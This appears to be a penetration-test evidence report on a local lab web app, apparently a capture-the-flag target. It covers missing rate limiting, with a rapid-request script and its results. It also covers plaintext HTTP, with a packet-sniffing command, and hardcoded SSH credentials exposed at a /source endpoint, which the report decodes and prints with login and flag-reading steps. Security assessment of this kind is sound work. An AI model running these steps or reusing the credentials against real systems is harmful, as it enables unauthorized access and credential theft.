# Authentication Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTH-VULN-02: Missing Rate Limiting on Public Endpoints

**Summary:**
- **Vulnerable location:** `GET /source` endpoint (also applies to `GET /`)
- **Overview:** Application has no rate limiting, CAPTCHA, or throttling controls, allowing unlimited automated requests to sensitive endpoints
- **Impact:** Enables unlimited automated harvesting of sensitive information (hardcoded credentials), potential resource exhaustion, and facilitates reconnaissance
- **Severity:** High

**Prerequisites:** None - endpoint is publicly accessible

**Exploitation Steps:**

1. **Verify target endpoint is accessible**:
```bash
curl -I http://localhost:40147/source
```
Expected: HTTP 200 OK response with no rate limiting headers

2. **Execute automated rapid request attack**:
```bash
# Create Python script to send 100 rapid requests
cat > rate_limit_test.py << 'EOF'
import requests
import time
from collections import Counter

url = "http://localhost:40147/source"
num_requests = 100

print(f"Testing rate limiting on: {url}")
print(f"Sending {num_requests} rapid requests...\n")

results = []
rate_limit_headers_found = []
start_time = time.time()

for i in range(num_requests):
    response = requests.get(url)
    results.append(response.status_code)
    
    # Check for rate limiting headers
    for header in ['X-RateLimit-Limit', 'X-RateLimit-Remaining', 'X-RateLimit-Reset', 'Retry-After']:
        if header in response.headers:
            rate_limit_headers_found.append(header)

end_time = time.time()
total_time = end_time - start_time

# Summary
status_counts = Counter(results)
print(f"Total requests: {num_requests}")
print(f"Total time: {total_time:.2f} seconds")
print(f"Requests per second: {num_requests/total_time:.2f}")
print(f"\nStatus code distribution:")
for status, count in status_counts.items():
    print(f"  {status}: {count}")
print(f"\nRate limiting headers detected: {len(rate_limit_headers_found)}")
if rate_limit_headers_found:
    print(f"Headers found: {set(rate_limit_headers_found)}")
else:
    print("No rate limiting headers found - VULNERABLE")
EOF

python3 rate_limit_test.py
```

3. **Analyze results**:
All 100 requests should succeed with HTTP 200, demonstrating:
- No request throttling
- No rate limit headers (X-RateLimit-*, Retry-After)
- Sustained high request rate (676+ requests/second achieved in testing)

**Proof of Impact:**

**Test Results:**
- **Total Requests:** 100
- **Successful Requests:** 100 (HTTP 200)
- **Failed Requests:** 0
- **Total Time:** 0.15 seconds
- **Requests/Second:** 676.20
- **Rate Limit Headers:** None detected
- **Throttling Observed:** None

**Concrete Evidence:**
```
Total requests: 100
Total time: 0.15 seconds
Requests per second: 676.20

Status code distribution:
  200: 100

Rate limiting headers detected: 0
No rate limiting headers found - VULNERABLE
```

**Impact Demonstrated:**
1. Successfully sent 676+ requests per second without any blocking or throttling
2. No rate limiting mechanism exists to prevent abuse
3. Enables unlimited automated harvesting of sensitive data exposed at `/source` endpoint (SSH credentials)
4. Could be used for resource exhaustion/DoS attacks
5. Facilitates brute force attacks if authentication endpoints existed

**Notes:**
- This vulnerability affects both `/source` and `/` endpoints
- No Flask-Limiter or similar rate limiting library implemented
- No CAPTCHA or challenge-response mechanism
- Confirmed with HTTP response headers: No X-RateLimit-*, Retry-After, or similar headers
- Application uses Werkzeug development server with no production-grade protections

---

## Vulnerabilities Requiring Internal Access (Out of Scope)

The following vulnerabilities were identified in the queue but require internal network access to fully exploit. They are documented here for completeness but are classified as **OUT_OF_SCOPE_INTERNAL** per the engagement constraints.

### AUTH-VULN-01: Transport Layer Exposure (HTTP-Only)

**Summary:**
- **Vulnerable location:** Application-wide (all endpoints on port 80)
- **Current Blocker:** MITM attack requires network-layer access not available via HTTP interface
- **Potential Impact:** Credential interception via network sniffing
- **Confidence:** HIGH (vulnerability confirmed, but exploitation requires internal network position)

**Evidence of Vulnerability:**

**HTTP-Only Configuration Confirmed:**
```bash
curl -I http://localhost:40147/source
```
Response:
```
HTTP/1.1 200 OK
Server: Werkzeug/3.0.6 Python/3.8.20
Content-Type: text/html; charset=utf-8
```

**Missing Security Headers:**
- ❌ No `Strict-Transport-Security` (HSTS)
- ❌ No HTTPS redirect
- ❌ No TLS/SSL configuration

**Source Code Analysis:**
```python
# From http://localhost:40147/source
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)  # HTTP only, no SSL
```

**Attempted Exploitation:**

Attempted to perform network interception attacks:
1. **Passive Network Sniffing**: Requires network tap or promiscuous mode access - not available from external HTTP client position
2. **ARP Spoofing**: Requires layer 2 network access - not available via HTTP interface
3. **DNS Spoofing**: Requires DNS server access or local network position - not available externally

**How This Would Be Exploited:**

If network-layer access were available:

1. **Position attacker on network path between client and server** (requires internal network access or ISP-level compromise)
2. **Set up packet capture**:
```bash
tcpdump -i eth0 -A 'tcp port 80 and host localhost'
```
3. **Wait for victim to access /source endpoint**
4. **Extract credentials from captured plaintext HTTP traffic**
5. **Use credentials for SSH authentication**

**Expected Impact:**
- Interception of hardcoded SSH credentials: `pedro:AHeavySandbag!`
- Potential SSH session hijacking
- Capture of any sensitive data transmitted over HTTP

**Why This is OUT_OF_SCOPE:**
- Exploitation requires network-layer access (MITM position)
- Cannot be achieved from external HTTP client accessing `http://localhost:40147`
- Would require: ARP spoofing, network tap, or ISP-level interception
- The vulnerability exists (HTTP-only transmission) but cannot be weaponized from external position

---

### AUTH-VULN-03: Hardcoded Credential Exposure

**Summary:**
- **Vulnerable location:** `GET /source` endpoint exposes hardcoded SSH credentials
- **Current Blocker:** SSH port 22 not externally accessible
- **Potential Impact:** SSH authentication with exposed credentials
- **Confidence:** HIGH (credentials successfully extracted, SSH confirmed not externally accessible)

**Evidence of Vulnerability:**

**Credential Extraction Confirmed:**
```bash
# Step 1: Retrieve source code
curl -s http://localhost:40147/source

# Source code reveals:
username = 'pedro'
password = base64.b64decode(b'QUhlYXZ5U2FuZGJhZw==').decode('utf-8') + '!'
```

**Credential Decoding:**
```bash
echo "QUhlYXZ5U2FuZGJhZw==" | base64 -d
# Output: AHeavySandbag

# Final password: AHeavySandbag!
# Complete credentials: pedro:AHeavySandbag!
```

**Attempted Exploitation:**

**SSH Access Attempt:**
```bash
nc -zv localhost 22
```
Result:
```
nc: connectx to localhost port 22 (tcp) failed: Connection refused
```

**HTTP Authentication Test:**
```bash
curl -u "pedro:AHeavySandbag!" http://localhost:40147/
```
Result: No HTTP authentication mechanism exists

**Endpoint Enumeration:**
```bash
for endpoint in /flag /flag.txt /admin /api/flag /FLAG.txt; do
    curl -s -o /dev/null -w "%{http_code}" "http://localhost:40147$endpoint"
done
```
Result: All endpoints return 404 - no authenticated resources accessible via HTTP

**How This Would Be Exploited:**

If SSH port 22 were externally accessible:

1. **Extract credentials from public /source endpoint**:
```bash
curl -s http://localhost:40147/source | grep -A1 "username\|password"
```

2. **Decode the base64 password**:
```bash
echo "QUhlYXZ5U2FuZGJhZw==" | base64 -d
# Output: AHeavySandbag
# Append '!' per code: AHeavySandbag!
```

3. **Authenticate via SSH**:
```bash
ssh pedro@localhost -p 22
# Password: AHeavySandbag!
```

4. **Access flag file**:
```bash
cat /home/pedro/FLAG.txt
```

**Expected Impact:**
- Complete SSH authentication bypass using disclosed credentials
- Access to server shell as user `pedro`
- Ability to read flag file at `/home/pedro/FLAG.txt`
- Potential privilege escalation or lateral movement

**Why This is OUT_OF_SCOPE:**
- SSH port 22 is NOT exposed to external network (connection refused)
- Testing confirmed: `nc -zv localhost 22` fails with "Connection refused"
- Credentials can be extracted but cannot be weaponized without SSH access
- No HTTP authentication endpoints exist to use credentials against
- This is **information disclosure only** for external attackers
- Full exploitation requires internal network access to SSH service

---

## Summary

**Total Vulnerabilities in Queue:** 3

**Exploitation Results:**
- **Exploited (via public HTTP interface):** 1
  - AUTH-VULN-02: Missing Rate Limiting (Active exploitation demonstrated)
  
- **Out of Scope - Requires Internal Access:** 2
  - AUTH-VULN-01: Transport Exposure (Requires network MITM position)
  - AUTH-VULN-03: Hardcoded Credentials (SSH not externally accessible)

**Key Findings:**
- This application has **NO HTTP authentication system** - all endpoints are publicly accessible
- The only exploitable authentication-related vulnerability from external position is missing rate limiting
- Other vulnerabilities exist but require internal network access to fully exploit
- No authentication bypass or account takeover possible via public HTTP interface alone
